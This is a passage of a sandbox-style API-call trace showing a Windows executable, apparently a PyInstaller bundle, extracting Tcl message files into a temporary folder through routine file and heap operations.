0x55d270 [0037.754] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.755] htonl (hostlong=0x17010000) returned 0x117 [0037.755] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0037.755] htonl (hostlong=0x9f000000) returned 0x9f [0037.755] htonl (hostlong=0x17010000) returned 0x117 [0037.755] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.755] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.755] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.755] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.755] CloseHandle (hObject=0x10c) returned 1 [0037.755] GetLastError () returned 0x0 [0037.755] SetLastError (dwErrCode=0x0) [0037.755] GetLastError () returned 0x0 [0037.755] SetLastError (dwErrCode=0x0) [0037.755] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.755] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.755] GetFileType (hFile=0x10c) returned 0x1 [0037.755] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.755] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.755] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.755] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.755] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.755] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.755] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.756] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.756] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.756] CloseHandle (hObject=0x10c) returned 1 [0037.756] GetLastError () returned 0x0 [0037.756] SetLastError (dwErrCode=0x0) [0037.756] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.756] GetFileType (hFile=0x10c) returned 0x1 [0037.756] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.756] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.756] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.756] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.756] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.756] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.756] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.756] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.756] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.756] CloseHandle (hObject=0x10c) returned 1 [0037.756] GetLastError () returned 0x0 [0037.756] SetLastError (dwErrCode=0x0) [0037.756] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt_br.msg") returned 64 [0037.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt_br.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\pt_br.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.757] GetLastError () returned 0x2 [0037.757] SetLastError (dwErrCode=0x2) [0037.757] GetLastError () returned 0x2 [0037.757] SetLastError (dwErrCode=0x2) [0037.757] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt_br.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt_br.msg", lpFilePart=0x0) returned 0x3f [0037.757] GetLastError () returned 0x2 [0037.757] SetLastError (dwErrCode=0x2) [0037.757] GetLastError () returned 0x2 [0037.757] SetLastError (dwErrCode=0x2) [0037.757] GetLastError () returned 0x2 [0037.757] SetLastError (dwErrCode=0x2) [0037.757] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt_br.msg") returned 64 [0037.757] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\pt_br.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\pt_br.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.758] GetFileType (hFile=0x10c) returned 0x1 [0037.758] htonl (hostlong=0x17010000) returned 0x117 [0037.758] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.758] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x117, lpOverlapped=0x0) returned 1 [0037.759] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.759] CloseHandle (hObject=0x10c) returned 1 [0037.760] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.760] htonl (hostlong=0x30000000) returned 0x30 [0037.760] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.760] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.760] GetFileType (hFile=0x10c) returned 0x1 [0037.760] htonl (hostlong=0xad925700) returned 0x5792ad [0037.760] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c42ad, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.760] htonl (hostlong=0x85010000) returned 0x185 [0037.760] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x185) returned 0x550600 [0037.760] htonl (hostlong=0x85010000) returned 0x185 [0037.760] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.760] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.760] htonl (hostlong=0x94040000) returned 0x494 [0037.760] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x494) returned 0x550790 [0037.760] htonl (hostlong=0x85010000) returned 0x185 [0037.760] htonl (hostlong=0x94040000) returned 0x494 [0037.761] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.761] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.761] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.761] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.761] CloseHandle (hObject=0x10c) returned 1 [0037.761] GetLastError () returned 0x0 [0037.761] SetLastError (dwErrCode=0x0) [0037.761] GetLastError () returned 0x0 [0037.761] SetLastError (dwErrCode=0x0) [0037.761] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.761] GetFileType (hFile=0x10c) returned 0x1 [0037.761] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.761] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.761] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.761] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.761] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.761] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.761] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.761] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.761] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.761] CloseHandle (hObject=0x10c) returned 1 [0037.761] GetLastError () returned 0x0 [0037.761] SetLastError (dwErrCode=0x0) [0037.762] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.762] GetFileType (hFile=0x10c) returned 0x1 [0037.762] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.762] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.762] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.762] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.762] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.762] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.762] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.762] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.762] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.762] CloseHandle (hObject=0x10c) returned 1 [0037.762] GetLastError () returned 0x0 [0037.762] SetLastError (dwErrCode=0x0) [0037.762] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ro.msg") returned 61 [0037.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ro.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ro.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.762] GetLastError () returned 0x2 [0037.762] SetLastError (dwErrCode=0x2) [0037.762] GetLastError () returned 0x2 [0037.762] SetLastError (dwErrCode=0x2) [0037.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ro.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ro.msg", lpFilePart=0x0) returned 0x3c [0037.762] GetLastError () returned 0x2 [0037.762] SetLastError (dwErrCode=0x2) [0037.762] GetLastError () returned 0x2 [0037.763] SetLastError (dwErrCode=0x2) [0037.763] GetLastError () returned 0x2 [0037.763] SetLastError (dwErrCode=0x2) [0037.763] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ro.msg") returned 61 [0037.763] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.763] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ro.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ro.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.763] GetFileType (hFile=0x10c) returned 0x1 [0037.763] htonl (hostlong=0x94040000) returned 0x494 [0037.763] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.763] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x494, lpOverlapped=0x0) returned 1 [0037.764] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.764] CloseHandle (hObject=0x10c) returned 1 [0037.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550790 | out: hHeap=0x530000) returned 1 [0037.765] htonl (hostlong=0x30000000) returned 0x30 [0037.765] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.765] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.765] GetFileType (hFile=0x10c) returned 0x1 [0037.765] htonl (hostlong=0x32945700) returned 0x579432 [0037.765] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c4432, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.765] htonl (hostlong=0xef010000) returned 0x1ef [0037.765] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ef) returned 0x550600 [0037.765] htonl (hostlong=0xef010000) returned 0x1ef [0037.765] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.765] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.765] htonl (hostlong=0xf7070000) returned 0x7f7 [0037.765] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7f7) returned 0x55e278 [0037.765] htonl (hostlong=0xef010000) returned 0x1ef [0037.765] htonl (hostlong=0xf7070000) returned 0x7f7 [0037.765] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.765] CloseHandle (hObject=0x10c) returned 1 [0037.765] GetLastError () returned 0x0 [0037.765] SetLastError (dwErrCode=0x0) [0037.765] GetLastError () returned 0x0 [0037.766] SetLastError (dwErrCode=0x0) [0037.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.766] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.766] GetFileType (hFile=0x10c) returned 0x1 [0037.766] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.766] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.766] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.766] CloseHandle (hObject=0x10c) returned 1 [0037.766] GetLastError () returned 0x0 [0037.766] SetLastError (dwErrCode=0x0) [0037.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.766] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.766] GetFileType (hFile=0x10c) returned 0x1 [0037.766] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.766] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.767] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.767] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.767] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.767] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.767] CloseHandle (hObject=0x10c) returned 1 [0037.767] GetLastError () returned 0x0 [0037.767] SetLastError (dwErrCode=0x0) [0037.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru.msg") returned 61 [0037.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ru.msg" (normalized: 